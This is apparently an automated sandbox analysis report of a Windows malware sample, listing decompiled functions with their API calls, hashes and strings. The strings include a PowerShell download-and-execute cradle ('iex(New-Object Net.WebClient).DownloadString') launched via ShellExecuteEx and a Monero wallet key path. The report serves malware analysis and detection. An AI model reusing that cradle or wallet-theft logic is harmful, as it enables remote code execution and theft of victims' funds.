Associated: 00000000.00000002.2208200230.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001230000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000130B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000132E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001335000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001344000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208520311.0000000001345000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208654995.00000000014E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668490.00000000014E4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e40000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess$DefaultLangUser
String ID: *
API String ID: 1494266314-163128923
Opcode ID: 74ea828c5b05f5017453383e29f0d55a282deaac5ade7db90c5b495d89c6ed5b
Instruction ID: 491149478f94e15057e11483a0a35681c0f4a8ba28ce086ddd8288e77f56645c
Opcode Fuzzy Hash: 74ea828c5b05f5017453383e29f0d55a282deaac5ade7db90c5b495d89c6ed5b
Instruction Fuzzy Hash: C3F05430A08209EFD354AFE0E90972C7B70FB08707F04019AE68697684DA7D4B41AB95

Function 00E44FB0 Relevance: 10.6, APIs: 7, Instructions: 83networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00E44FCA
RtlAllocateHeap.NTDLL(00000000), ref: 00E44FD1
InternetOpenA.WININET(00E60DDF,00000000,00000000,00000000,00000000), ref: 00E44FEA
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 00E45011
InternetReadFile.WININET(?,?,00000400,00000000), ref: 00E45041
InternetCloseHandle.WININET(?), ref: 00E450B9
InternetCloseHandle.WININET(?), ref: 00E450C6

Memory Dump Source

Source File: 00000000.00000002.2207985094.0000000000E41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000000.00000002.2207963445.0000000000E40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000F22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.000000000108A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001230000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000130B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000132E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001335000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001344000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208520311.0000000001345000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208654995.00000000014E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668490.00000000014E4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e40000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessRead
String ID:
API String ID: 3066467675-0
Opcode ID: 3fe5610eee9b9150c733d84061fb1665ed2da6ef4dbd72997cef8640e19f95dd
Instruction ID: a5cb0b09b67956c142c2a61f8b91c42de8940d18bff61df096fe033a78abbd5f
Opcode Fuzzy Hash: 3fe5610eee9b9150c733d84061fb1665ed2da6ef4dbd72997cef8640e19f95dd
Instruction Fuzzy Hash: 463114B5A00218EBDB20DF54DC85BDDB7B4FB48704F1081E9EA49B7281C7746E858FA8

Function 00E583DC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00E58426
wsprintfA.USER32 ref: 00E58459
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 00E5847B
RegCloseKey.ADVAPI32(00000000), ref: 00E5848C
RegCloseKey.ADVAPI32(00000000), ref: 00E58499

Part of subcall function 00E5A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00E5A7E6

RegQueryValueExA.ADVAPI32(00000000,01CBEAF8,00000000,000F003F,?,00000400), ref: 00E584EC
lstrlen.KERNEL32(?), ref: 00E58501
RegQueryValueExA.ADVAPI32(00000000,01CBEA98,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,00E60B34), ref: 00E58599
RegCloseKey.ADVAPI32(00000000), ref: 00E58608
RegCloseKey.ADVAPI32(00000000), ref: 00E5861A

Strings

%s\%s, xrefs: 00E5844D

Memory Dump Source

Source File: 00000000.00000002.2207985094.0000000000E41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000000.00000002.2207963445.0000000000E40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000F22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.000000000108A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001230000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000130B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000132E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001335000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001344000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208520311.0000000001345000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208654995.00000000014E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668490.00000000014E4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e40000_file.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: 155b3b1169b80d12a78dde044794e0521c7668e609bafcb62aa6ce29dcf92111
Instruction ID: 2a63cef6d6a3d6a48dffbba46ace228f3c291b4199e4cb1aac583d7c59e85f84
Opcode Fuzzy Hash: 155b3b1169b80d12a78dde044794e0521c7668e609bafcb62aa6ce29dcf92111
Instruction Fuzzy Hash: 11215AB1A10218DBDB24DB54DC84FE9B3B8FB48700F00C599E649A7140DF75AA85CFE4

Function 00E57690 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00E576A4
RtlAllocateHeap.NTDLL(00000000), ref: 00E576AB
RegOpenKeyExA.ADVAPI32(80000002,01CAC720,00000000,00020119,00000000), ref: 00E576DD
RegQueryValueExA.ADVAPI32(00000000,01CBEB70,00000000,00000000,?,000000FF), ref: 00E576FE
RegCloseKey.ADVAPI32(00000000), ref: 00E57708

Strings

Windows 11, xrefs: 00E576BD

Memory Dump Source

Source File: 00000000.00000002.2207985094.0000000000E41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000000.00000002.2207963445.0000000000E40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000F22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.000000000108A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001230000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000130B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000132E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001335000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001344000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208520311.0000000001345000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208654995.00000000014E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668490.00000000014E4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e40000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3225020163-2517555085
Opcode ID: 7fef57b93256625248a5e949a1999672b015fda2fa1ad3e2a5c0e70dca0044f1
Instruction ID: 6c62bc1faebed9dfbe2ae875f4524a5574476b112b3010c252082a5ab5e7a177
Opcode Fuzzy Hash: 7fef57b93256625248a5e949a1999672b015fda2fa1ad3e2a5c0e70dca0044f1
Instruction Fuzzy Hash: F20184B4B08204FBDB10DBE4EC49F6E77B8EB48702F004456FEC5A7284D67999048B60

Function 00E57720 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00E57734
RtlAllocateHeap.NTDLL(00000000), ref: 00E5773B
RegOpenKeyExA.ADVAPI32(80000002,01CAC720,00000000,00020119,00E576B9), ref: 00E5775B
RegQueryValueExA.ADVAPI32(00E576B9,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 00E5777A
RegCloseKey.ADVAPI32(00E576B9), ref: 00E57784

Strings

CurrentBuildNumber, xrefs: 00E57771

Memory Dump Source

Source File: 00000000.00000002.2207985094.0000000000E41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000000.00000002.2207963445.0000000000E40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000F22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.000000000108A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001230000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000130B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000132E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001335000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001344000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208520311.0000000001345000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208654995.00000000014E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668490.00000000014E4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e40000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3225020163-1022791448
Opcode ID: 4e1bfa6e4c3c3fda359abbd828539ba7936b6a223a8587a0ca2e7a753f2531c8
Instruction ID: be26960d5af1bf6b0cd0ab3f797f9595042df5a23211f896b35cda15756bb158
Opcode Fuzzy Hash: 4e1bfa6e4c3c3fda359abbd828539ba7936b6a223a8587a0ca2e7a753f2531c8
Instruction Fuzzy Hash: 990167B5B44308FBD710DBE0DC49FAEB7B8FB48701F004555FA85A7285D67555008B60

Function 00E592E0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 39fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(:,80000000,00000003,00000000,00000003,00000080,00000000,?,00E53AEE,?), ref: 00E592FC
GetFileSizeEx.KERNEL32(000000FF,:), ref: 00E59319
CloseHandle.KERNEL32(000000FF), ref: 00E59327

Strings

:, xrefs: 00E59311, 00E5933D, 00E59314
:, xrefs: 00E592F8, 00E592FB

Memory Dump Source

Source File: 00000000.00000002.2207985094.0000000000E41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000000.00000002.2207963445.0000000000E40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000F22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.000000000108A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001230000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000130B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000132E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001335000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001344000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208520311.0000000001345000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208654995.00000000014E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668490.00000000014E4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e40000_file.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize
String ID: :$:
API String ID: 1378416451-4250114551
Opcode ID: d9270341abb9bb6e39df6493bf633a91363255049927f80938574662466351df
Instruction ID: 081e32b486bea305d95b4a3fd07d054160fa4ed5ee90774e4fe4af3292c57a72
Opcode Fuzzy Hash: d9270341abb9bb6e39df6493bf633a91363255049927f80938574662466351df
Instruction Fuzzy Hash: EDF08C34F04208FBDB20DBB0DC08B9E77B9EB48711F108654BA92A72C4D67596009B40

Function 00E540B0 Relevance: 9.1, APIs: 6, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00E540D5
RegOpenKeyExA.ADVAPI32(80000001,01CBDFB8,00000000,00020119,?), ref: 00E540F4
RegQueryValueExA.ADVAPI32(?,01CBEC18,00000000,00000000,00000000,000000FF), ref: 00E54118
RegCloseKey.ADVAPI32(?), ref: 00E54122
lstrcat.KERNEL32(?,00000000), ref: 00E54147
lstrcat.KERNEL32(?,01CBEC30), ref: 00E5415B

Memory Dump Source

Source File: 00000000.00000002.2207985094.0000000000E41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000000.00000002.2207963445.0000000000E40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000F22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.000000000108A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001230000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000130B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000132E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001335000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001344000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208520311.0000000001345000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208654995.00000000014E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668490.00000000014E4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e40000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValuememset
String ID:
API String ID: 2623679115-0
Opcode ID: 18f2d5f69eb70d948be32dc375939af3836cdcb5ce0eee7804b87aa2f28d53fa
Instruction ID: e767e1c7c299d8cdeffa21b432ffc9ea5407df539c33d9632cc529c5fbab5354
Opcode Fuzzy Hash: 18f2d5f69eb70d948be32dc375939af3836cdcb5ce0eee7804b87aa2f28d53fa
Instruction Fuzzy Hash: 70418AB6D10108ABDF24EBA0EC46FEE737DA788300F004959B65567185EE795B8C8BA1

Function 00E499C0 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00E499EC
GetFileSizeEx.KERNEL32(000000FF,?), ref: 00E49A11
LocalAlloc.KERNEL32(00000040,?), ref: 00E49A31
ReadFile.KERNEL32(000000FF,?,00000000,00E4148F,00000000), ref: 00E49A5A
LocalFree.KERNEL32(00E4148F), ref: 00E49A90
CloseHandle.KERNEL32(000000FF), ref: 00E49A9A

Memory Dump Source

Source File: 00000000.00000002.2207985094.0000000000E41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000000.00000002.2207963445.0000000000E40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000F22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.000000000108A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001230000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000130B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000132E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001335000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001344000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208520311.0000000001345000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208654995.00000000014E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668490.00000000014E4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e40000_file.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: 787fa877a27f9a1e13948dbedb1823ba3d72063c33a1ba4b2b9f1571c3ea087c
Instruction ID: 587a0c017a3519efd531effdf54ea97380ae757d1004dc626c39a9a942b10512
Opcode Fuzzy Hash: 787fa877a27f9a1e13948dbedb1823ba3d72063c33a1ba4b2b9f1571c3ea087c
Instruction Fuzzy Hash: E6313AB4A00209EFDB24CF94D885BAE77F5FF48304F108158E902B7284D779AA41DFA0

Function 00E5C84E Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

memset.MSVCRT ref: 00E5C8BF
___crtGetStringTypeA.LIBCMT ref: 00E5C8EC
___crtLCMapStringA.LIBCMT ref: 00E5C90C
___crtLCMapStringA.LIBCMT ref: 00E5C931

Strings

, xrefs: 00E5C896

Memory Dump Source

Source File: 00000000.00000002.2207985094.0000000000E41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000000.00000002.2207963445.0000000000E40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000F22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.000000000108A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001230000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000130B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000132E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001335000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001344000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208520311.0000000001345000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208654995.00000000014E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668490.00000000014E4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e40000_file.jbxd

Yara matches

Similarity

API ID: String___crt$Typememset
String ID:
API String ID: 3530896902-3916222277
Opcode ID: 39c0f6df5db16d2686aaaa9bedc2868954f11611711603ed61c94eec0a9e35ed
Instruction ID: 1777d943a968b920fc8cd1855116d817567842f6d6d275fe84520deacbfabeac
Opcode Fuzzy Hash: 39c0f6df5db16d2686aaaa9bedc2868954f11611711603ed61c94eec0a9e35ed
Instruction Fuzzy Hash: D641E77110079C5EDB258B248C94FFB7BF89B45709F2458A8ED8AA6182D2719A49CF60

Function 00E54780 Relevance: 8.9, APIs: 7, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,01CBED50), ref: 00E547DB

Part of subcall function 00E58DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00E58E0B

lstrcat.KERNEL32(?,00000000), ref: 00E54801
lstrcat.KERNEL32(?,?), ref: 00E54820
lstrcat.KERNEL32(?,?), ref: 00E54834
lstrcat.KERNEL32(?,01CABF58), ref: 00E54847
lstrcat.KERNEL32(?,?), ref: 00E5485B
lstrcat.KERNEL32(?,01CBE118), ref: 00E5486F

Part of subcall function 00E5A740: lstrcpy.KERNEL32(00E60E17,00000000), ref: 00E5A788

Part of subcall function 00E58D90: GetFileAttributesA.KERNEL32(00000000,?,00E41B54,?,?,00E6564C,?,?,00E60E1F), ref: 00E58D9F

Part of subcall function 00E54570: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00E54580
Part of subcall function 00E54570: RtlAllocateHeap.NTDLL(00000000), ref: 00E54587
Part of subcall function 00E54570: wsprintfA.USER32 ref: 00E545A6
Part of subcall function 00E54570: FindFirstFileA.KERNEL32(?,?), ref: 00E545BD

Memory Dump Source

Source File: 00000000.00000002.2207985094.0000000000E41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000000.00000002.2207963445.0000000000E40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000F22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.000000000108A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001230000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000130B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000132E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001335000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001344000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208520311.0000000001345000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208654995.00000000014E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668490.00000000014E4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e40000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocateAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID:
API String ID: 2540262943-0
Opcode ID: 052484104d5db2e42d6b8e1de42925ba7ac4f4ca7e824006054723c92019cfd5
Instruction ID: 2393eef2299cc966180b6a6a4f3e60abe90786dd1206e291d5fcb3544937ab36
Opcode Fuzzy Hash: 052484104d5db2e42d6b8e1de42925ba7ac4f4ca7e824006054723c92019cfd5
Instruction Fuzzy Hash: 463176B290021897CB24F770DC85EED73BCAB48701F405999B79976085EE78978DCB91

Function 00E52C90 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 00E5A740: lstrcpy.KERNEL32(00E60E17,00000000), ref: 00E5A788

Part of subcall function 00E5A9B0: lstrlen.KERNEL32(?,01CB97A0,?,\Monero\wallet.keys,00E60E17), ref: 00E5A9C5
Part of subcall function 00E5A9B0: lstrcpy.KERNEL32(00000000), ref: 00E5AA04
Part of subcall function 00E5A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00E5AA12

Part of subcall function 00E5A920: lstrcpy.KERNEL32(00000000,?), ref: 00E5A972
Part of subcall function 00E5A920: lstrcat.KERNEL32(00000000), ref: 00E5A982

Part of subcall function 00E5A8A0: lstrcpy.KERNEL32(?,00E60E17), ref: 00E5A905

ShellExecuteEx.SHELL32(0000003C), ref: 00E52D85

Strings

<, xrefs: 00E52D39
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 00E52D04
-nop -c "iex(New-Object Net.WebClient).DownloadString(', xrefs: 00E52CC4
')", xrefs: 00E52CB3

Memory Dump Source

Source File: 00000000.00000002.2207985094.0000000000E41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000000.00000002.2207963445.0000000000E40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000F22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.000000000108A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001230000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000130B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000132E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001335000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001344000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208520311.0000000001345000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208654995.00000000014E3000.00000040.00000001.01000000.00000003.sdmpDownload File
